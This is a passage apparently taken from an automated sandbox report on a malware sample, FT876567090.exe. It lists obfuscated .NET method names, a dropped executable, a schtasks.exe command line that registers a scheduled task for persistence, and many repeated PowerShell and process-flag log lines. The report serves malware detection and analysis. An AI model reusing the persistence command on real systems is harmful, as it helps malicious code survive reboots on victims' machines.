          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, sC8mrBsiegcndi6imW.csHigh entropy of concatenated method names: 'Dispose', 'c94yEpoYXw', 'RK2eAqtAqc', 'ICLKvM4aj6', 'WrlyowYdT3', 'HceyzfK8tq', 'ProcessDialogKey', 'VIeerDt5QP', 'VLoeyloEUi', 'JR3eebhCMM'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, GCigAdecIbLlCQv76r.csHigh entropy of concatenated method names: 'wlCNHM2El', 'Ijjk9K4lw', 'LQvMEtbF0', 'KF1FfWwtH', 's8YUHIPYr', 'MRf58VvCt', 'sSMFeA0wS3HwHYVPmY', 'FDMylxVettRd7IJtSG', 'YnQtTZZOZ', 'DtTJ4EO6P'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, mkNsanf4ytZx6QJiPE.csHigh entropy of concatenated method names: 'isriBPqF1P', 'EiniUPE89C', 'ak7inr9thY', 'oY4iAJwSFH', 'UYKig1Doob', 'C3Pimbk5GQ', 'SQUi9qYlxD', 'iAdidLPxVm', 'MaWiP0gMTo', 'WaNiOYiIBP'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, fYGDXC9nLkKwVYdycp.csHigh entropy of concatenated method names: 'rY8HGErjlc', 'H9VHcknXXq', 'lfUHCKSAj9', 'rGECo0jEKo', 'dqfCzsndJn', 'DGtHre2R3v', 'UBGHy3gZMm', 'hf7HeFcIdP', 'luJHIGrKyp', 'bvEH7CxZif'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, thCMMAoHGyLR1v4VD2.csHigh entropy of concatenated method names: 'bvZJcFXLaV', 'oQQJY2nyNs', 'IyMJCfpU4P', 'GWaJHNbgAF', 'HsZJVRysjK', 'Nj6JjMLh63', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, GPiGiKyIdU4lsP3SKnM.csHigh entropy of concatenated method names: 'O5LboXui0n', 'qgObzNvSoV', 'LqW6rG2onx', 'Ix1SO6ItA3UZgIDBPq5', 'c3kWHeINIddJ7BQpFti', 'AewacAIgUDDd3FqkCNQ', 'zNP8ceIbX418MB9pDxj', 'Wpk5PVI55hKh7rWxkWt'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, cDt5QPE3LoloEUimR3.csHigh entropy of concatenated method names: 'oyjVnGPOx7', 'rAhVAJQ1Oc', 'rNKVXD3vMn', 'yBdVgi5p15', 'I1JVmLZgk3', 'NV2VleYYxo', 'OGdV9BuBdH', 'dCLVdqFU0y', 'qYqV2GQDPc', 'ODdVPH7R1D'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, jqJyNFnNFGovmngTSY.csHigh entropy of concatenated method names: 'tgaCQtEn9E', 'ayxCs6dpSj', 'ixRCYGJnCf', 'sdxCHdTRyr', 'xqTCjR1CGO', 'TBsYT07TuK', 'ScFY3lWc86', 'lIdYSXIxt2', 'dFJYqdpCpu', 'jZKYEdU5Lh'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, loiuhoc4lM5qqThqVZ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MfGeEgneZv', 'jABeoy3BQ1', 'xiAezLm3PD', 'wuJIr4Z9Ok', 'tmDIyIAycm', 'LkPIekRl01', 'lDXIIEXRnx', 'xUfLRLof7kg1ms0A6I4'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, qGBWZDj2yg2TJE6Bru.csHigh entropy of concatenated method names: 'CrKIQyK6vR', 'OBPIGpoXmo', 'q7fIsqSF9t', 'rFuIcUpkDM', 'Ap1IYudBAP', 'X8OICO8SbW', 'hiWIHrQNeJ', 'yTIIjreGac', 'Jy9IKlTkrU', 'uDIIxPYsQa'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, XESGjM5IcVEd4SWQSo.csHigh entropy of concatenated method names: 'qjFY42fCrM', 'fceYF1l3hp', 'qobcXj181V', 'z1ocgCByGU', 'TPAcmRkhb4', 'Lg4cl0kF6L', 'f39c9PwSEY', 'h65cdLAcQ0', 'Cdvc2n4rXx', 'MnkcPjdskD'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, d6o0O5SFWI94poYXwS.csHigh entropy of concatenated method names: 'EbDVuJMHxw', 'O2fVZWvNEO', 'BKIVVd8Gcp', 'DGwVbuPkD6', 'xtaVRFUMGD', 'w6iVhloGjR', 'Dispose', 'HlStGJPbbR', 'tMOtsXnfNW', 't3JtchnPsd'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, OmD8eT1yyXhuQJSvyr.csHigh entropy of concatenated method names: 'SjZZxkcHs1', 'AJEZvIcqSR', 'ToString', 'An3ZGD4ywb', 'dU2Zsiu300', 'bTkZcVDSFh', 's5hZYiNm9b', 'IGLZCFQ8db', 'tm2ZHvsgH0', 'T7kZjwR0j0'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, uZt2wsyroqfI9T4g0lY.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DXpJO2TiSA', 'fydJwmxCwD', 'kPZJffpfry', 'v2WJLYwasT', 'yOOJ0p4J6G', 'ICUJDSSEk0', 'M8VJ1DqOrQ'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, etr7vDDutw28yVrRDX.csHigh entropy of concatenated method names: 'ToString', 'bBbWOiQcy3', 'iQFWAwA9Rc', 'gXYWXT4Myn', 'P7oWgSyqqe', 'zxlWmkwIo0', 'DGoWl0ZtFp', 'Xh4W9rIyY2', 'wmFWdpabYN', 'bKeW2bAeIR'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, QHahpPyyjOnLlFYyugX.csHigh entropy of concatenated method names: 'P5fJoNFkqA', 'zcOJzWKm81', 'kIsbrr0aE1', 'jY7byoQNMh', 'FIibeJ93ZG', 'mCvbIa08kM', 'GHvb7Dy8rw', 'vPabQEdHwP', 'bhLbGFlZ25', 'dRUbsuQpRr'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, gGEtiB3eVMC0N94kse.csHigh entropy of concatenated method names: 'UdXZquKpWw', 'yWGZojYI2Y', 'Fbdtrr4cZH', 'w57tyrQhFG', 'nSaZOJs8JB', 'upRZwuR54g', 'kuDZf1xf2R', 'HxBZL29LQj', 'cKQZ0SmhoO', 'HNjZDOQQ7Y'
          Source: C:\Users\user\Desktop\FT876567090.exeFile created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeJump to dropped file

          Boot Survival

          barindex
          Uses schtasks.exe or at.exe to add and modify task schedules
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp"

          Hooking and other Techniques for Hiding and Protection

          barindex
          Loading BitLocker PowerShell Module
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
